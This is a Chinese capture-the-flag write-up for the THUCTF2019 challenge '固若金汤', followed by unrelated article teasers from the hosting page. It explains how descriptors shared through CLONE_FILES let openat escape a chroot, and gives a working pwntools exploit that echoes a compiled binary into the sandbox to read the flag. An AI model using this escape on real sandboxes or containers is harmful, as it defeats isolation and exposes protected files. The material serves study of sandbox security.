[chroot+seccomp逃逸] THUCTF2019 之 固若金汤

题目分析

附件为一个源码, 其中注释我都写好了, 主要就讲关键的知识点.

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sched.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <seccomp.h>
#include <linux/seccomp.h>
#include <openssl/md5.h>
#include <sys/resource.h>


int main(int argc, char **argv)
{
    MD5_CTX ctx;
    char md5_res[17]="";
    char key[100]="";
    char sandbox_dir[100]="/home/ctf/sandbox/";
    char dir_name[100]="/home/ctf/sandbox/";

    char buf[0x11111] ,ch;
    FILE *pp;
    int i;
    int pid, fd;

    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
	/*
	struct rlimit 结构体定义了一个资源限制。它包含两个字段:
		rlim_cur: 当前资源限制。
		rlim_max: 最大资源限制。
	struct rlimit {
		__kernel_ulong_t rlim_cur;
		__kernel_ulong_t rlim_max;
	};
	
	*/
    struct rlimit r;
	// 设置进程的核心文件大小限制为 0
	// 这意味着进程在发生段错误时不会生成核心 core 文件
    r.rlim_max = r.rlim_cur = 0;
    setrlimit(RLIMIT_CORE, &r);

    memset(key, 0, sizeof(key));
    printf("input your key:\n");
    read(0, key, 20);
	// 对 key 进行 md5, 结果保存在 md5_res 中
    MD5_Init(&ctx);
    MD5_Update(&ctx, key, strlen(key));
    MD5_Final(md5_res, &ctx);
    for(int i = 0; i < 16; i++) 
        sprintf(&(dir_name[i*2 + 18]), "%02hhx", md5_res[i]&0xff);

    printf("dir : %s\n", dir_name);
    printf("So, what's your command, sir?\n");

    for (i=0;i<0x11100;i++)
    {
        read(0, &ch, 1);
        if (ch=='\n' || ch==EOF)
        {
            break;
        }
        buf[i] = ch;
    }
	// 创建一个进程
    pid = syscall(__NR_clone, CLONE_NEWNS | CLONE_NEWPID | CLONE_NEWUSER | CLONE_FILES | CLONE_NEWUTS | CLONE_NEWNET, 0, 0, 0, 0);
    if (pid) {
        if (open(sandbox_dir, O_RDONLY) == -1)
        {
            perror("fail to open sandbox dir");
            exit(1);
        }

        if (open(dir_name, O_RDONLY) != -1)
        {
        	printf("Entering your dir\n");
            if (chdir(dir_name)==-1)
            {
                puts("chdir err, exiting\n");
                exit(1);
            }
        }
        else
        {	
			// dir_name 不存在的话则进行创建并配置相关信息
           	printf("Creating your dir\n");
			// 创建一个目录
            mkdir(dir_name, 0755);
            printf("Entering your dir\n");
			// 进入 dir_name 目录
            if (chdir(dir_name)==-1)
            {
                puts("chdir err, exiting\n");
                exit(1);
            }
			// 创建相关文件夹
            mkdir("bin", 0777);
            mkdir("lib", 0777);
            mkdir("lib64", 0777);
            mkdir("lib/x86_64-linux-gnu", 0777);
			// 复制相关文件到当前工作目录下的文件夹中
            system("cp /bin/bash bin/sh");
            system("cp /bin/chmod bin/");
            system("cp /usr/bin/tee bin/");
            system("cp /lib/x86_64-linux-gnu/libtinfo.so.5 lib/x86_64-linux-gnu/");
            system("cp /lib/x86_64-linux-gnu/libdl.so.2 lib/x86_64-linux-gnu/");
            system("cp /lib/x86_64-linux-gnu/libc.so.6 lib/x86_64-linux-gnu/");
            system("cp /lib64/ld-linux-x86-64.so.2 lib64/");
        }

        char uidmap[] = "0 1000 1", filename[30];
        char pid_string[7];
        sprintf(pid_string, "%d", pid);
		// filename 为 /proc/pid/uid_map
		// 文件包含了当前进程的 UID 映射信息
		// 格式为: <inside-uid> <outside-uid> <count>
		// <inside-uid> 是进程内部的 UID
		// <outside-uid> 是进程外部的 UID
		// <count> 是映射的 UID 的数量
        sprintf(filename, "/proc/%s/uid_map", pid_string);
        fd = open(filename, O_WRONLY|O_CREAT);
		// 写入 0 1000 1
		// 表示进程内部的 UID 0 映射到进程外部的 UID 1000
		// 这意味着进程在容器内部的 UID 为 0,但在容器外部的 UID 为 1000
        if (write(fd, uidmap, sizeof(uidmap)) == -1)
        {
            printf("write to uid_map Error!\n");
            printf("errno=%d\n",errno);
        }
        exit(0);
    }
    sleep(1);

    // entering sandbox
    if (chdir(dir_name)==-1)
    {
        puts("chdir err, exiting\n");
        exit(1);
    }
	// 更改当前目录为该进程的根目录
    if (chroot(".") == -1)
    {
        puts("chroot err, exiting\n");
        exit(1);
    }

    // set seccomp
	// 设置沙箱, 杀了 mkdir, link, symlink, unshare, prctl, chroot, seccomp 系统调用
    scmp_filter_ctx sec_ctx;
    sec_ctx = seccomp_init(SCMP_ACT_ALLOW);
    seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(mkdir), 0);
    seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(link), 0);
    seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(symlink), 0);
    seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(unshare), 0);
    seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(prctl), 0);
    seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(chroot), 0);
    seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(seccomp), 0);
    seccomp_load(sec_ctx);
	// 执行命令, 管道只能写
    pp = popen(buf, "w");
    if (pp == NULL)
        exit(0);
    pclose(pp);
    return 0;
}

总的来说功能就是用户输入一个 key, 然后对其进行 md5, 用此作为路径名设置沙箱, 在沙箱中可以执行一条 shell 命令.

漏洞分析

 漏洞主要在下面这句代码.

 pid = syscall(__NR_clone, CLONE_NEWNS | CLONE_NEWPID | CLONE_NEWUSER | CLONE_FILES | CLONE_NEWUTS | CLONE_NEWNET, 0, 0, 0, 0);

可以看到其设置了 CLONE_FILES 标志, 这表示父子进程共享文件打开表. 而题目在父进程中打开了以下三个文件并且没有关闭:( 这里目录统称为文件

1) /home/ctf/sandbox/

2) /home/ctf/sandbox/md5(key)

3) /proc/pid/uid_map

其对应的文件描述符依次为3, 4, 5. 所以可以利用 openat 函数进行逃逸:

#include <fcntl.h>
int openat(int dirfd, const char *pathname, int flags, ...);
  • dirfd 是要打开文件的目录的文件描述符。
  • pathname 是要打开的文件的路径名。
  • flags 是打开文件的标志。

 所以这里如果我们设置 dirfd 为 3, 然后 pathname 使用 ../../ 进行目录穿越即可完成逃逸

这里有个 demo:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <sys/resource.h>

int main(int argc, char** argv, char** envp)
{
        FILE* pp;
        int pid;
        pid = syscall(__NR_clone, CLONE_FILES|CLONE_NEWNS|CLONE_NEWPID|CLONE_NEWUSER|CLONE_NEWUTS|CLONE_NEWNET, 0, 0, 0, 0);
        if (pid)
        {
                open("/tmp", O_RDONLY);
                printf("1 Pid: %d\n", getpid());
                printf("2 Child Pid: %d\n", pid);
                sleep(30);
                exit(0);
        }
        sleep(1);
        printf("3 Child pid: %d\n", getpid());
        pp = popen("echo '4 Pid: '$$;sleep 100", "w");
        if (!pp) exit(0);
        pclose(pp);
        return 0;
}

可以看到4个进程中都存在 3 这个文件描述符并且指向同一位置 

漏洞利用

在漏洞分析阶段, 我们已经提出了利用方式, 即通过 openat 配合父进程"遗留"的文件描述符实现逃逸.

但是这里就存在一个问题了, 在题目分析中已经说了, 最后我们只能通过 popen 去执行一个 shell 命令. 而原则上题目只给了 bash, chmod, tee 三个 shell 命令. 而我们最后是要利用 openat 打开 flag文件进行读取输出, 所以我们像 kernel pwn 那样上传一个 exp 然后执行. 那么如何将 exp 写入文件呢? 在 kernel pwn 中我们都是通过 echo 来完成的. 这里有 echo 吗? 答案是有的, 别忘了内建命令.

看看 gpt 的回答: 

  • 可用性不同:内建命令在所有 Linux 系统上都可用,而非内建命令则需要安装相应的软件包才能使用。

而我们可以通过 type 去简单判断一下是否是内建命令. 比如:

本地复现

修改代码为如下代码: 注: 这里仅仅为了本地复现而已, 所以把 seccomp 给删了:(因为我虚拟机没下

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sched.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/resource.h>
#include <sys/stat.h>


int main(int argc, char **argv)
{
    char sandbox_dir[100]="/home/xiaozaya/rubbish/fx/sandbox/";
    char dir_name[100]="/home/xiaozaya/rubbish/fx/sandbox/511721";

    char buf[0x11111] ,ch;
    FILE *pp;
    int i;
    int pid, fd;

    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    struct rlimit r;

    r.rlim_max = r.rlim_cur = 0;
    setrlimit(RLIMIT_CORE, &r);

    printf("dir : %s\n", dir_name);
    printf("So, what's your command, sir?\n");

    for (i=0;i<0x11100;i++)
    {
        read(0, &ch, 1);
        if (ch=='\n' || ch==EOF)
        {
            break;
        }
        buf[i] = ch;
    }

    pid = syscall(__NR_clone, CLONE_NEWNS | CLONE_NEWPID | CLONE_NEWUSER | CLONE_FILES | CLONE_NEWUTS | CLONE_NEWNET, 0, 0, 0, 0);
    if (pid) {
        if (open(sandbox_dir, O_RDONLY) == -1)
        {
            perror("fail to open sandbox dir");
            exit(1);
        }

        if (open(dir_name, O_RDONLY) != -1)
        {
                printf("Entering your dir\n");
            if (chdir(dir_name)==-1)
            {
                puts("chdir err, exiting\n");
                exit(1);
            }
        }
        else
        {
            printf("Creating your dir\n");
            mkdir(dir_name, 0755);
            printf("Entering your dir\n");
            if (chdir(dir_name)==-1)
            {
                puts("chdir err, exiting\n");
                exit(1);
            }
            mkdir("bin", 0777);
            mkdir("lib", 0777);
            mkdir("lib64", 0777);
            mkdir("lib/x86_64-linux-gnu", 0777);
            system("cp /bin/bash bin/sh");
            system("cp /bin/chmod bin/");
            system("cp /usr/bin/tee bin/");
            system("cp /lib/x86_64-linux-gnu/libtinfo.so.6 lib/x86_64-linux-gnu/");
            system("cp /lib/x86_64-linux-gnu/libdl.so.2 lib/x86_64-linux-gnu/");
            system("cp /lib/x86_64-linux-gnu/libc.so.6 lib/x86_64-linux-gnu/");
            system("cp /lib64/ld-linux-x86-64.so.2 lib64/");
        }

        char uidmap[] = "0 1000 1", filename[30];
        char pid_string[7];
        sprintf(pid_string, "%d", pid);

        sprintf(filename, "/proc/%s/uid_map", pid_string);
        fd = open(filename, O_WRONLY|O_CREAT);
        if (write(fd, uidmap, sizeof(uidmap)) == -1)
        {
            printf("write to uid_map Error!\n");
            printf("errno=%d\n",errno);
        }
        exit(0);
    }
    sleep(1);

    // entering sandbox
    if (chdir(dir_name)==-1)
    {
        puts("chdir err, exiting\n");
        exit(1);
    }

    if (chroot(".") == -1)
    {
        puts("chroot err, exiting\n");
        exit(1);
    }

    pp = popen(buf, "w");
    if (pp == NULL)
        exit(0);
    pclose(pp);
    return 0;
}

exp 如下:

import os
from pwn import *
import codecs

io = process("./pwn")

code = '''
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
int main(){
        char buf[20]={0};
        int fd = openat(4, "../flag", 0);
        read(fd, buf, 100);
        write(1, buf, 0x20);
        printf("Good !\\n");
}
'''

a = open('exp.c','w')
a.write(code)
a.close()
os.system("gcc exp.c -o exp")
b = open("./exp", "rb").read()
b = codecs.encode(b, "hex").decode()
c = ""
for i in range(0,len(b),2):
        c += '\\x'+b[i]+b[i+1]
payload = 'echo -e "'+c+'"'+'> exp;chmod +x exp; ./exp'
print("[+] length: " + hex(len(payload)))

io.recv()
io.sendline(payload)
io.recv()
io.interactive()

 效果如下:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/185630.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【蓝桥杯省赛真题47】Scratch小猫踩球 蓝桥杯scratch图形化编程 中小学生蓝桥杯省赛真题讲解

目录 scratch小猫踩球 一、题目要求 编程实现 二、案例分析 1、角色分析

flutter之graphic图表自定义tooltip

renderer graphic中tooltip的TooltipGuide类提供了renderer方法&#xff0c;接收三个参数Size类型&#xff0c;Offset类型&#xff0c;Map<int, Tuple>类型。可查到的文档是真的少&#xff0c;所以只能在源码中扒拉例子&#xff0c;做符合需求的修改。 官方github示例 …

【TypeScript】常见数据结构与算法(二):链表

文章目录 链表结构&#xff08;LinkedList&#xff09;链表以及数组的缺点数组链表的优势 什么是链表?封装链表相关方法源码链表常见面试题237-删除链表中的节点206 - 反转链表 数组和链表的复杂度对比 链表结构&#xff08;LinkedList&#xff09; 链表以及数组的缺点 链表…

数据库-MySQL之数据库必知必会10-13章

第10章 创建计算字段 拼接字段 使用Concat()函数 执行算术计算 示例&#xff1a;从 Products 表中返回 prod_id、prod_price 和 sale_price。sale_price 是一个包含促销价格的计算字段。提示&#xff1a;可以乘以 0.9&#xff0c;得到原价的 90%&#xff08;即 10%的折扣&…

手机APP-MCP走蓝牙无线遥控智能安全帽~执法记录仪~拍照录像,并可做基础的配置,例如修改服务器IP以及配置WiFi等

手机APP-MCP走蓝牙无线遥控智能安全帽~执法记录仪~拍照录像,并可做基础的配置,例如修改服务器IP以及配置WiFi等 手机APP-MCP走蓝牙无线遥控智能安全帽~执法记录仪~拍照录像,并可做基础的配置,例如修改服务器IP以及配置WiFi等&#xff0c; AIoT万物智联&#xff0c;智能安全帽…

Docker的项目资源参考

Docker的项目资源包括以下内容&#xff1a; Docker官方网站&#xff1a;https://www.docker.com/ Docker Hub&#xff1a;https://hub.docker.com/ Docker文档&#xff1a;https://docs.docker.com/ Docker GitHub仓库&#xff1a;https://github.com/docker Docker官方博客…

C#,《小白学程序》第二课:数组,循环与排序

1 什么是数组&#xff1f; 数组 Array 是一组数值&#xff08;数 或 值&#xff09;。 int[] a; int[,] b; int[][] c; Anything[] d; 都是数组。 2 排序 排序就是按大小、名字、拼音或你指定的信息进行比较后排队。 排序是数组最基本的功能需求。 3 文本格式 /// <summa…

使用v-md-editor开发sql查看器--实战

v-md-editor markdown编辑器 文档&#xff1a;https://code-farmer-i.github.io/vue-markdown-editor/zh/ echo 创建一个空目录&#xff0c;使用vscode打开此空目录&#xff0c;进入终端&#xff0c;输入如下命令 npm create vitelatest . -- --template vue echo 选择 vue 和 …

Log4j2.xml不生效:WARN StatusLogger Multiple logging implementations found:

背景 将 -Dlog4j.debug 添加到IDEA的类的启动配置中 运行上图代码&#xff0c;这里log4j2.xml控制的日志级别是info&#xff0c;很明显是没生效。 DEBUG StatusLogger org.slf4j.helpers.Log4jLoggerFactory is not on classpath. Good! DEBUG StatusLogger Using Shutdow…

应用内测分发平台如何上传应用包体?

●您可免费将您的应用&#xff08;支持苹果.ios安卓.apk文件&#xff09;上传至咕噜分发平台&#xff0c;我们将免费为应用生成下载信息&#xff0c;但咕噜分发将会对应用的下载次数进行收费&#xff08;每个账号都享有免费赠送的下载点数以及参加活动的赠送点数&#xff09;&a…

pat实现基于邻接表表示的深度优先遍历[含非递归写法]

文章目录 1.递归2.非递归 1.递归 void DFS(ALGraph G, int v) {visited[v] 1;printf("%c ", G.vertices[v].data);for (ArcNode* cur G.vertices[v].firstarc; cur ! nullptr; cur cur->nextarc){if (!visited[cur->adjvex])DFS(G, cur->adjvex);} }2.非…

Maven - 打包之争:Jar vs. Shade vs. Assembly

文章目录 Pre概述Jar 打包方式_maven-jar-pluginOverview使用官方文档 Shade 打包方式_maven-shade-pluginOverview使用将部分jar包添加或排除将依赖jar包内部资源添加或排除自动将所有不使用的类排除将依赖的类重命名并打包进来 &#xff08;隔离方案&#xff09;修改包的后缀…

【VSCode】VSCode 使用

目录 文章目录 目录插件配置设置代码不显示 git 提示 "xxx months ago | 1 author"设置打开项目不自动选择 CMakeLists 插件 以下插件为 C 开发偏好设置。 C/CCMakeCMake ToolsGitLensRemote DevelopmentRemote Explorer 配置 设置代码不显示 git 提示 “xxx mon…

基于java实现捕鱼达人游戏

开发工具eclipse,jdk1.8 文档截图&#xff1a; package com.qd.fish;import java.awt.Graphics; import java.awt.image.BufferedImage; import java.util.Random;public class Fish {//定义鱼的图片BufferedImage fishImage;//定义鱼的数组帧BufferedImage[] fishFrame;//…

leetcode刷题详解一

算法题常用API std::accumulate 函数原型&#xff1a; template< class InputIt, class T > T accumulate( InputIt first, InputIt last, T init );一般求和的&#xff0c;代码如下&#xff1a; int sum accumulate(vec.begin() , vec.end() , 0);详细用法参考 lo…

python opencv -模板匹配

python opencv -模板匹配 模板匹配就是&#xff0c;我们现有一个模板和一个图片&#xff0c;然后&#xff0c;在这个图片中寻找和模板近似的部分。 在opencv 中主要通过cv2.matchTemplate这个函数去实现。 下面我们先看一下&#xff0c;模板图片和需要匹配的图片&#xff1a…

【完美世界】叶倾仙强势登场,孔雀神主VS护道人,石昊重逢清漪

Hello,小伙伴们&#xff0c;我是拾荒君。 《完美世界》国漫第138集已更新。在这一集中&#xff0c;天人族的行为让人大跌眼镜&#xff0c;他们不仅没有对石昊感恩戴德&#xff0c;反而一心想要夺取他身上的所有秘法宝术。天人族的护道人登场&#xff0c;试图以强大的实力压制石…

12V降3.3V100mA稳压芯片WT7133

12V降3.3V100mA稳压芯片WT7133 WT71XX系列是一款采用CMOS工艺实现的三端高输入电压、低压差、小输出电流电压稳压器。 它的输出电流可达到100mA&#xff0c;输入电压可达到18V。其固定输出电压的范围是2.5V&#xff5e;8.0V&#xff0c;用户 也可通过外围应用电路来实现可变电压…

STM32入门--CAN

目录 一、bxCan简介 二、bxCAN总体描述 2.1概述 2.2CAN框图 三、bxCA的工作模式 3.1初始化模式 3.2正常模式 3.3睡眠模式&#xff08;低功耗&#xff09; 四、测试模式 4.1静默模式 4.2环回模式 五、bxCAN功能描述 5.1 发送处理 ​编辑 5.2接收管理 5.2.1 标识符过…

用SOLIDWORKS画个高尔夫球,看似简单的建模却大有学问

SOLIDWORKS软件提供了大量的建模功能&#xff0c;如果工程师能灵活使用这些功能&#xff0c;就可以绘制得到各式各样的模型&#xff0c;我们尝试使用SOLIDWORKS绘制高尔夫球模型&#xff0c;如下图所示。 为什么选用solid works进行建模&#xff1f; solid works是一款功能强大…